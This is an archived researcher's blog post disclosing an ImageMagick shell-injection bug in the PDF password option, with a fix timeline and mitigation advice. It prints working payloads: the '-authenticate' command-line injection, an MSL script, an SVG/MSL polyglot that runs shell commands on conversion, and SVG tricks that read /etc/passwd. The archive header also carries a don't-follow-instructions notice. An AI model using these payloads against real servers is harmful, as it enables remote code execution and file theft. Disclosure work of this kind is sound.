ImageMagick - Shell injection via PDF password

ImageMagick - Shell injection via PDF password - Author not stated, insert-script.blogspot.com.

- Published: date not stated
- Original: <https://insert-script.blogspot.com/2020/11/imagemagick-shell-injection-via-pdf.html>
- Preserved from: https://insert-script.blogspot.com/2020/11/imagemagick-shell-injection-via-pdf.html (live) on 2026-08-09
- Licence: unknown

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

*"Use ImageMagick® to create, edit, compose, or convert bitmap images. It can read and write images in a variety of formats (over 200) including PNG, JPEG, GIF, HEIC, TIFF, DPX, EXR, WebP, Postscript, PDF, and SVG [and many more]"*1

In 2016 ImageTragick was revealed. The associated reseachers showed that ImageMagick is not only powerful, eg you can read local files, but that it is possible to execute shell commands via a maliciously crafted image.

In late 2016 and in 2018 Tavis Ormandy (@taviso) showed how the support of external programs (ghostscript) in ImageMagick could lead to remote execution.

Given the past research I had a quick look at the supported external programs (libreoffice/openoffice I already spent quite some time on), and I decided to get a proper understanding how IM (ImageMagick) calls external programs and the way they fixed the shell injections in the ImageTragick report.

As you are reading this blogpost, it paid off and I found a vulnerability. But I also learned two things:

Note:

1. The IM team is really active and is trying to address any issue raised quickly (thats important later)
2. ImageMagick is an awesome tool to convert files. It supports some really weird old file types (often via external programs) and is trying to be as user friendly as possible, maybe a little too much ^^

The Fix: ImageMagick, https and cURL

An important part of ImageMagick and how it handles files is not solely the infamous *delegates.xml* file but the coders folder.

The delegates.xml file specifies the commands and parameters to call an external program to handle a certain file type. But before that the handlers in the aforementioned coders folders are used to parse a file and determine if an external program needs to be called (this is a simplification but in most cases it works this way) As there are lot of files in coders, I decided to check how *https:* URLs are handled by ImageMagick as I already knew curl will be used in the end, which was vulnerable to command injection.

To keep it short - the *https:* handler is registered in this line: https://github.com/ImageMagick/ImageMagick/blob/master/coders/url.c#L327

In case IM has to handle *https:* URLs - the following branch is called:

https://github.com/ImageMagick/ImageMagick/blob/master/coders/url.c#L157

```
status=InvokeDelegate(read_info,image,"https:decode",(char *) NULL,
```

InvokeDelegate calls *InterpretDelegateProperties*, which calls *GetMagickPropertyLetter*, which calls *SanitizeDelegateString*.

```
whitelist[] =
    "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 "
    "$-_.+!;*(),{}|\\^~[]`\"><#%/?:@&=";
[...]
for (p+=strspn(p,whitelist); p != q; p+=strspn(p,whitelist))
  *p='_';
 return(sanitize_source);
```

This function basically replaces ' (single quotes) with "_" on non-windows system (which I assume as the default). This is important as in the end ExternalDelegateCommand is called.

This function handles calling external executables. The defined curl command in delegates.xml is used and the user defined URL is included in single quotes. As single quotes were filtered before, it is not possible to inject additional shell commands.

I verified that by modifying the source code of IM and included some *printf* statements to dump the created command.

So let's assume a SVG or MVG (an example is available in ImageTragick) that specifies an *https:* URL like this:

```
<svg width="200" height="200"
xmlns:xlink="http://www.w3.org/1999/xlink">
xmlns="http://www.w3.org/2000/svg">
<image xlink:href="https://example.com/test'injection" height="200" width="200"/>
</svg>
```

Command line:

```
convert test.svg out.png
```

The created shell command by ImageMagick looks like this:

```
curl -s -k -L -o 'IMrandomnumber.dat' 'https://example.com/test_injection'
```

Important Note: As shown by this example, different coders can call each other as in this case SVG triggers the execution of the *url.c* coder. In case ImageMagick is compiled to use a third-party library like *librsvg* to parse SVG files, the third party library handles protocols by itself. In this scenario it is still possible to trigger ImageMagicks own SVG parsers via the MSVG support ("ImageMagick's own SVG internal renderer"):

```
convert test.msvg out.png
```

ImageMagick also allows to set a specific handler via this syntax:

```
convert msvg:test.svg out.png
```

Short intermission - reading local files

As ImageMagick allows to set specific file handlers as shown above, I decided to make a quick assessment, which handlers could allow to read and leak local files.

My test case assumed that a user controlled SVG file is converted by IMs internal SVG parser to a PNG file, which is returned to the end user afterwards. An example could be an avatar upload on a website.

```
convert test.svg userfile.png
```

The first powerful coder is already mentioned in ImageTragick - *text:*. *'The "text:" input format is designed to convert plain text into images consisting one image per page of text. It is the 'paged text' input operator of ImageMagick.*'. The coder is registered in txt.c.

```
<svg width="1000" height="1000"
xmlns:xlink="http://www.w3.org/1999/xlink">
xmlns="http://www.w3.org/2000/svg">
<image xlink:href="text:/etc/passwd" height="500" width="500"/>
</svg>
```

Another example to read */etc/passwd* is based on LibreOffice. This is possible as LibreOffice supports the rendering of a text file. As ImageMagick has no support for this file type, the corresponding protocol handler can be found via the *decode* property in delegates.xml.

This vector only works of course when OpenOffice/LibreOffice is installed:

```
<svg width="1000" height="1000"
xmlns:xlink="http://www.w3.org/1999/xlink">
xmlns="http://www.w3.org/2000/svg">
<image xlink:href="odt:/etc/passwd" height="500" width="500"/>
</svg>
```

It is also possible to use *html:* - in case *html2ps* is installed. Although ImageMagick registers a "HTML" handler, it only sets an encoder entry. Encoders only handle the creation/writing but not reading (this is done by the decoders) of the file type. Therefore the decoder in delegates.xml is used:

```
<svg width="1000" height="1000"
xmlns:xlink="http://www.w3.org/1999/xlink">
xmlns="http://www.w3.org/2000/svg">
<image xlink:href="html:/etc/passwd" height="500" width="500"/>
</svg>
```

This is not an exhausted list but should document the general idea. Back to the shell injection.

Entry Point - Encrypted PDFs

After I got an understanding of the usage of curl, I checked again the command defined in delegates.xml:

```
<delegate decode="https:decode"
command=""@WWWDecodeDelegate@" -s -k -L -o "%u.dat" "https:%M""/>
```

%M is replaced with the user-controlled URL. Therefore, I checked all occurrences of %M and if they are handled correctly. Additionally I had a look at all the defined replacement values defined in property.c. In the end nothing yielded a proper injection vulnerability.

Then I stumbled upon the following line in the pdf.c coder:

```
(void) FormatLocaleString(passphrase,MagickPathExtent,
    "\"-sPDFPassword=%s\" ",option);
```

As this seemed to set a password, which is most likely fully user controlled, I looked up how this parameter can be set and if it could be abused. Based on the changelog, ImageMagick added a "-

authenticate" command line parameter in 2017 to allow users to set a password for encrypted PDFs.

So, I tested it via the following command to dump the created command:

```
convert -authenticate "password" test.pdf out.png
```

Shell command created:

```
'gs' -sstdout=%stderr -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=
 -dGraphicsAlphaBits=4 '-r72x72' "-sPDFPassword=password" '-sOutputFile=/tmp/magick-YPvcqDeC7K-Q8xn8VZPwHcp
```

As I confirmed that the password is included in the created *gs* command, which parses the specified PDF, it was time to check if double quotes are handled correctly:

```
convert -authenticate 'test" FFFFFF' test.pdf out.png
```

```
'gs' -sstdout=%stderr -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=
 -dGraphicsAlphaBits=4 '-r72x72' "-sPDFPassword=test" FFFFFF" '-sOutputFile=/tmp/magick-YPvcqDeC7K-Q8xn8VZPwH
```

To my surprise I was able to prematurely close the *-sPDFPassword* parameter, which allows me to include additional shell commands. The specified *"password"* has to contain one of the following characters *"&;<>|"* so the shell injection gets actually triggered. The reason being that ImageMagick will only use the *system* call (and therefore the system shell) in case one of these characters is present:

```
if ((asynchronous != MagickFalse) ||
    (strpbrk(sanitize_command,"&;<>|") != (char *) NULL))
  status=system(sanitize_command);
```

Putting alltogether I tested the following command:

```
convert -authenticate 'test" `echo $(id)> ./poc`;"' test.pdf out.png
```

Shell command created:

```
'gs' -sstdout=%stderr -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=
 -dGraphicsAlphaBits=4 '-r72x72' "-sPDFPassword=test" `echo $(id)> ./poc`;"" '-sOutputFile=/tmp/magick-pyNxb2vdkh_8
```

The file "*poc*" was created and it contained the output of the *id* command. At this point I had a confirmed shell injection vulnerability.

The problem was: It is unlikely that a user has the possibility to set the *authenticate* parameter. So I decided to look for a better PoC:

Explotation - MSL and Polyglots

I needed to find a way to set the "-authenticate" parameter via a supported file type and I already knew where to look at: ImageMagick Scripting Language (MSL). This is a XML based file format supported by ImageMagick, which allows to set the input file, output file and additional parameters. An example file can be found here - I simplified it a bit:

```
<?xml version="1.0" encoding="UTF-8"?>
<image>
 <read filename="image.jpg" />
 <get width="base-width" height="base-height" />
 <resize geometry="400x400" />
 <write filename="image.png" />
</image>
```

This file format is not properly documented, which is mentioned by the ImageMagick team, so I checked the source code regarding the supported attributes. I quickly discovered the following line in the source code of the MSL coder:

```
if (LocaleCompare(keyword,"authenticate") == 0)
{
(void) CloneString(&image_info->density,value);
break;
}
```

Via additional debug calls I verified that this path handles any tag, which sets the authenticate attribute. But the code assigns the defined value to the density property, which made no sense. After studying the rest of the MSL code I came to the following conclusion:

1) This code should set the authenticate attribute similar to the *"-authenticate"* command line parameter.

2) The code was simply wrong and therefore blocking the possibility to abuse the shell injection.

So I decided to do something I haven't done before: Mention this problem via Github and see if it gets fixed (I created a new github account for that) - https://github.com/ImageMagick/ImageMagick/discussions/2779

In the end the code was fixed correctly:

```
if (LocaleCompare(keyword,"authenticate") == 0)
{
(void) SetImageOption(image_info,keyword,value);
break;
}
```

I immediately created a PoC MSL script to verify I could abuse the shell injection. Note that it is necessary to specify the *msl:* protocol handler so IM actually parses the script file correctly:

```
<?xml version="1.0" encoding="UTF-8"?>
<image authenticate='test" `echo $(id)> ./poc`;"'>
  <read filename="test.pdf" />
  <get width="base-width" height="base-height" />
  <resize geometry="400x400" />
  <write filename="out.png" />
</image>
```

```
convert msl:test.msl whatever.png
```

And it worked - the *"poc"* file was created, proofing the shell injection.

Last step: Wrap this all up in one SVG polyglot file.

SVG MSL polyglot file:

My created polyglot file is a SVG file, which loads itself as an MSF file to trigger the shell injection vulnerability. I will start showing the SVG polyglot file and explain its structure:

poc.svg:

```
<image authenticate='ff" `echo $(id)> ./0wned`;"'>
  <read filename="pdf:/etc/passwd"/>
  <get width="base-width" height="base-height" />
  <resize geometry="400x400" />
  <write filename="test.png" />
  <svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <image xlink:href="msl:poc.svg" height="100" width="100"/>
  </svg>
</image>
```

First of all the SVG structure has an image root tag. As the parser does not enforce that the SVG tag is the root tag, IM has no problems parsing this file as a SVG. The SVG structure specifies an image URL, which uses *msl:poc.svg*. This tells ImageMagick to load *poc.svg* with the MSL coder.

Although MSF is a XML based structure, the MSF coder does not deploy a real XML parser. It only requires that the file starts with a tag it supports. Another trick I used is present in the read tag. It is necessary to target a PDF file to trigger the vulnerability. To bypass this necessity, I specified any known local file and used the *pdf:* protocol handler to ensure it is treated as a PDF:

PoC file in action:

The PoC is still not perfect as I have to assume the filename does not get changed as the file has to be able to reference itself. But I decided thats good enough for now.

PreConditions and protection

Obviously this vulnerable only works in case ImageMagick is not compiled with a third-party library, which handles PDF parsing.

Also a user has to be able to set the "authenticate" parameter, either via the command line or via MSL (as shown in my PoC file).

In case ImageMagick must not handle PDF files, it is possible to disable the PDF coder via the *policy.xml* file therefore preventing the shell injection. How to configure *policy.xml* is already documented by https://imagetragick.com/ (just include "PDF").

Affected versions:

- Injection via "-authenticate"

-ImageMagick 7: 7.0.5-3 up 7.0.10-40

- Explotation via MSL:
- ImageMagick 7: 7.0.10-35 up 7.0.10-40

Regarding ImageMagick 6 (aka legacy). Based on the source code the following versions should be vulnerable.

- Injection via "-authenticate"

- ImageMagick 6: 6.9.8-1 up to 6.9.11-40
- Explotation via MSL:

-ImageMagick 6: 6.9.11-35 up to 6.9.11-40

I focused my testing solely on ImageMagick 7 so I tried ImageMagick 6 really late. It seems the "-*authenticate*" feature is broken in the legacy branch. But during testing my VM died so I leave it to the readers to create a PoC for ImageMagick 6 (or maybe I will do it as soon as I have some free time)

Timeline:

- 2020-11-01: Reported the vuln to ZDI
- 2020-11-16: Didn't want to wait for any response from ZDI so reported the issue to ImageMagick
- 2020-11-16: ImageMagick deployed a fix and asked me if I could wait for disclosure, as there is a release planned for this weekend.
- 2020-11-16-20: Discussed the fix with the ImageMagick team.
- 2020-11-21: Version 7.0.10-40 and 6.9.11-40 released.

I want to thank the ImageMagick developers. They try to address and fix any issues raised as quick as possible (feature or security related, doesn't matter). Additionally they allowed me to provide input how I would address the issue (which is not always accepted^^).
